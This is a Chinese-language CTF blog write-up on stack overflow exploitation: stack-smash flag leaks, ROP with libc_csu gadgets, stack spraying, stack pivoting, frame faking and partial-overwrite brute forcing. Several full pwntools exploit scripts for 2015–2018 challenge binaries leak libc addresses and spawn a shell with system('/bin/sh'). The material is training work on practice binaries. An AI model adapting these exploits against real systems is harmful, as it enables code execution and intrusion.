栈溢出训练

字数统计: 2.4k字   |   阅读时长≈ 11分

虽然栈溢出感觉有点简单，但是还是得练习一下比赛的时候会遇到的难题吧。还有栈溢出里面比较难的知识点应用。

2015-ZCTF guess

程序分析

程序开启了 NX 和 CANNARY。

image-20200810092107226

程序总体逻辑如下所示，漏洞点在 gets(s) 函数，存在一个溢出。同时 读取的flag 文件是一直存储在 bss 一个固定地址的。现在就是想办法把这个flag 泄露出来。由于有 CANNARY，像直接 ROP泄露是有困难的。这道题 就需要用到 stack-smash 的知识。

image-20200810114924576

Stack-Smash

在程序加了 canary 保护之后，如果覆盖了 栈中的Cannary值，程序就会报错。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后，如果发现 canary 被修改的话，程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串，正常情况下，这个指针指向了程序名。其代码如下

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

主函数 main(int argc, char** grav) 的参数值中 argv[0] 就是程序的名字，出现异常时会显示在错误信息的后面。所以只要用特定地址 覆盖栈中 argv[0] 的地址就可以达到任意地址泄露的目的，从而达到泄露原 flag 信息的目的。

我们首先在 main函数的首条指令下断点，此时可以看到 main数的 argv[0] 地址是 0x7fffffff6f58，存储的就是 程序名。

image-20200810115858640

然后，我们在 gets() 函数下断点，发现其存储地址为 0x7fffffffde30。

image-20200810120013792

所以，如果我们通过溢出 修改了上面 argv[0] 的地址为 flag 存储的内存地址，在最后程序崩溃时就能够泄露flag 信息。

EXP

这道题，我们首先要去爆破一下 flag 的长度，然后泄露 flag，最后异或解码就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level = 'debug'

def get_io():
    p = process('./guess_pwn1')
    elf = ELF('./guess_pwn1')
    #gdb.attach(p)
    return p

offset =  0x128
flag_addr = 0x6010c0

def guess_num(length, p):
    payload = 'ZCTF{'+'a'*(length)+'\x00'
    p.recvuntil('please guess the flag:\n')
    p.sendline(payload)
    recv = p.recv()
    if recv.find('len error')>=0:
        return 0
    else:
		return 1

def brute_num():
    dis = 0
    for dis in range(1, 15):
		p = get_io()
		if guess_num(dis, p):
            print 'find ok',dis
	    	break

def pwn(dis):
    p = get_io()
    payload = 'ZCTF{'+'0'*(dis)+'\x00'
    payload += '0'*(offset-len(payload)) + p64(flag_addr+5)
    p.recvuntil('please guess the flag:\n')
    p.sendline(payload)
    p.interactive()

def xor(cipher):
    flag = []
    for i in cipher:
	flag.append((chr(ord(i)^ord('0'))))
    print flag

#brute_num()
#dis = 10
#pwn(dis)
cipher = "DUCDDUCDM:"
#print ord(string[0]),ord('0')
xor(cipher)

下图中，就是泄露出来经过异或后的 flag 信息：

image-20200810120401008

2015-Codegate-Chess

image-20200810151654926

这道题，做了半天，还是会遇到一点问题。后面补上。

2015-RCTF-WelPwn

程序分析

image-20200810193758711

一个十分明显的 栈溢出漏洞。但是在 copy时，会有一个 检测所输入的 字符串 是否为空，以及在数组末尾加了 0。但是这里其实存在一个 堆里会用到的 off-by-one 漏洞，程序在 S2[i] = 0，其实时会将 RBP 的末尾一字节给覆盖为 \x00，也就是使得 RBP 值变小了。然后在 返回到 main 函数时，其时 RBP 发生了改变，最后的 ret地址也发生了改变。

漏洞分析

这道题，有两种思路吧。

一是 在 上面 echo 函数溢出覆盖 ret 指针为 pop4_ret，因为我们输入的字符就在 ret后作为 参数，所以只需要把最开始的 0x20 数据Pop掉，后面就可以正常布置 ROP 链了。

二是，利用上面的 off-by-one 漏洞，栈喷射，使得 ret地址返回到我们的 ROP链上。

EXP

为了联系一下 csu_init 函数ROP 链利用，也写了一个相关利用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.log_level ='debug'

p = process('./welpwn')
elf = ELF('./welpwn')
libc = ELF('./libc.so.6')

pop4_ret = 0x40089c
pop_rdi_ret = 0x4008a3
puts_plt = elf.plt['puts']
read_got = elf.got['read']
csu_end_addr = 0x40089a
csu_front_addr = 0x400880
main_addr = 0x4007cd
#gdb.attach(p, 'b *0x400819')

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = p64(csu_end_addr)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a'*0x38
    payload += p64(last)
    return payload


p.recvuntil('Welcome to RCTF\n')
#csu_payload = csu(0, 1, write_got, 8, read_got, 1, main_addr)
payload = 'a'*0x18+p64(pop4_ret)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(main_addr)
p.sendline(payload)


#read_addr = u64(p.recv())
p.recvuntil('a'*0x18)
p.recv(3)
read_addr = u64(p.recv(6).ljust(8,'\x00'))

print 'read_got:',read_addr

system_addr = read_addr - (libc.symbols['read']-libc.symbols['system'])
bin_sh_addr = read_addr - (libc.symbols['read']-next(libc.search('/bin/sh\x00')))

#csu_payload = csu(0, 1, system_addr, 0, 0, bin_sh_addr, main_addr)
payload = 'a'*0x18+p64(pop4_ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(main_addr)
p.sendline(payload)

p.interactive()

然后，也看了别人一个比较暴力的做法。通过栈喷射，在栈内部署大量的 ROP地址，然后当 ebp地址末尾被 \x00 覆盖后，就有一定几率命中我们的 ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level ='debug'

p = process('./welpwn')
elf = ELF('./welpwn')
libc = ELF('./libc.so.6')

pop_rdi_ret = 0x4008a3
puts_plt = elf.plt['puts']
read_got = elf.got['read']
csu_end_addr = 0x40089a
csu_front_addr = 0x400880
main_addr = 0x4007cd
#gdb.attach(p, 'b *0x400819')
leave_ret = 0x4007cb


p.recvuntil('Welcome to RCTF\n')

rop = p64(pop_rdi_ret) +p64(read_got)+ p64(puts_plt)+p64(main_addr)
payload = 'a'*0x10 + '\x00'*8
while len(payload) < 1024-len(rop):
    payload += rop

p.sendline(payload)

p.recvuntil('a'*0x10)
read_addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(read_addr)
#read_addr = u64(p.recv(8).ljust(8,'\x00')

system_addr = read_addr - (libc.symbols['read']-libc.symbols['system'])

bin_sh_addr = read_addr - (libc.symbols['read']-next(libc.search('/bin/sh\x00')))
print 'read_addr',hex(read_addr)
print 'system_addr',hex(system_addr)
print 'bin_sh_addr,',hex(bin_sh_addr)
gdb.attach(p, 'b *0x4007cb')
rop = p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(main_addr)
payload = 'a'*0x10+'\x00'*8
while len(payload) < 1024-len(rop):
    payload += rop
#p.recvuntil('Welcome to RCTF\n')
p.sendline(payload)

p.interactive()

Stack pivoting

劫持栈指针指向攻击者所能控制的内存处，然后再在相应的位置进行 ROP。

使用场景

  • 可以控制的栈溢出的字节数较少，难以构造较长的 ROP 链
  • 开启了 PIE 保护，栈地址未知，我们可以将栈劫持到已知的的区域
  • 其他漏洞难以利用，需要进行转换，比如说将栈劫持到对空间，从而在堆上写 ROP 及进行堆漏洞利用

条件

此外，利用 stack pivoting 有以下几个要求：

  • 可以控制程序执行流
  • 可以控制 SP 指针。控制栈指针会使用 ROP，常见的控制栈指针的 gadgets 一般是
1
pop rsp|esp

此外，通过 libc_csu_init 函数中的偏移，也会有 pop rsp.

还有 fake frame。

  • 存在可以控制内容的内存，有:
    • bbs段，由于进程按页分配内存，分配给 bss 段的内存大小至少一个页(4k, 0x1000)大小。然而一般 bss 段的内容用不了太大空间，并且 bss 段分配的内存页拥有读写权限
    • heap，这个需要能够泄露堆地址

2015-XCTF-b0verfl0w

题目很简单，运用栈迁移，可以成功执行ROP链。当然也有一个 栈具有 RWX权限，可以直接执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.log_level = 'debug'

p = process('./b0verfl0w')
elf = ELF('./b0verfl0w')
libc = ELF('./libc.so.6')

vul_addr = 0x804855e
main_addr = 0x804850e
#pop_rdi_ret = 
base_stage = elf.bss()+0x500
bss_stage = elf.bss()+0x600
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
fgets_got =elf.got['fgets']
leave_ret = 0x8048468
gdb.attach(p, 'b *0x8048575')

#实现任意地址写
def send(address, payload):
    length = len(payload)
    if length % 16 != 0:
        length += (0x20- length%0x20)
    payload = payload.ljust(length, '\x90')
    for i in range(0, length, 32):
        payload1 = 'a'*0x20+p32((address+0x20+i))+p32(vul_addr)
        p.sendline(payload1)
        p.recvuntil('\n')
        payload2 = payload[i:i+32]+p32(bss_stage+0x20)+p32(vul_addr)
        p.sendline(payload2)
        p.recvuntil('\n')


p.recvuntil('What\'s your name?\n')
payload = 'a'*0x20+p32(base_stage+0x20)+p32(vul_addr)
p.sendline(payload)
p.recvuntil('\n')
payload = p32(puts_plt)+p32(vul_addr)+p32(fgets_got)+'b'*0x13+'\x0a'+p32(base_stage-0x4)+p32(leave_ret)
p.sendline(payload)
p.recvuntil('b'*0x13)
read_addr = u32(p.recv(4))
print 'read_addr:',hex(read_addr)

system_addr = read_addr - (libc.symbols['read'] - libc.symbols['system'])
bin_sh_addr = read_addr - (libc.symbols['read'] - next(libc.search('/bin/sh\x00')))

print 'system_addr:',hex(system_addr)
print 'bin_sh_addr:',hex(bin_sh_addr)

payload = 'a'*0x20+p32(base_stage+0x40)+p32(vul_addr)
p.sendline(payload)
p.recvuntil('\n')

payload = p32(system_addr)+p32(main_addr)+p32(bin_sh_addr)+'b'*0x14+p32(base_stage+0x20)+p32(leave_ret)
p.sendline(payload)

p.interactive()

frmae faking

构造一个虚假的栈帧来控制程序的执行流。

原理

两种方式：

  • 控制程序 EIP
  • 控制程序 EBP

其最终都是控制程序的执行流。在frame faking中，我们所利用的技巧便是同时控制 EBP 和 EIP，在控制程序执行流的同时，也改变程序栈帧的位置。

即利用栈溢出将栈上构造为如下格式：

1
buffer padding | fake ebp | leave ret addr
  • 函数的返回地址被覆盖为执行 leave ret的地址，函数在正常执行完自己的 leave ret 后，还会再次执行一次 Leave ret
  • 其中 fake ebp 为我们构造的栈帧的基地址，一般假栈帧如下：
1
2
3
fake ebp:

ebp2 | target function addr | leaver ret addr | arg1 | arg2

程序正常执行时，会正常申请空间，同时在栈上也会满足该函数对应的参数，所以程序会正常执行

程序结束时，其又会执行两次 Leave ret addr，所以如果在 ebp2 处布置了对应的内容，那么就可以一直控制程序的执行流程

2018-OVER

利用方法和上面差不多

2018-XNUCA-gets

这道题主要是一种新的思路，即对一个 地址的低2两字节进行覆盖为 one_gadget地址，然后不断爆破尝试试其能撞为 正确的 one_gadgets地址。

具体分析可见：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/#2018-xnuca-gets

爆破EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level = 'debug'

def get_io():
    p = process('./gets')
    elf = ELF('./gets')
    return p

offset = 0xa8
csu_start = 0x40059a

def burte_addr():
    for i in range(0x1000):
        try:
            p = get_io()
            payload = 'a'*0x18 + p64(csu_start)
            payload += 'a'*8*5 + p64(csu_start)
            payload += 'a'*8*5 + p64(csu_start)
            payload +=  'a'*8*5 + p16(i)

            p.sendline(payload)
            data = p.recv()
            print data
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue
def brute_one_gadget():
    for i in range(0x1000):
        try:
            p = get_io()
            payload = 'a'*0x18 + p64(csu_start)
            payload += 'a'*8*5 + p64(csu_start)
            payload += 'a'*8*5 + p64(csu_start)
            payload +=  'a'*8*5 + '\x26\02'

            p.sendline(payload)
            data = p.recv()
            print data
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue    
            
            
if __name__ == '__main__':
    burte_addr()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing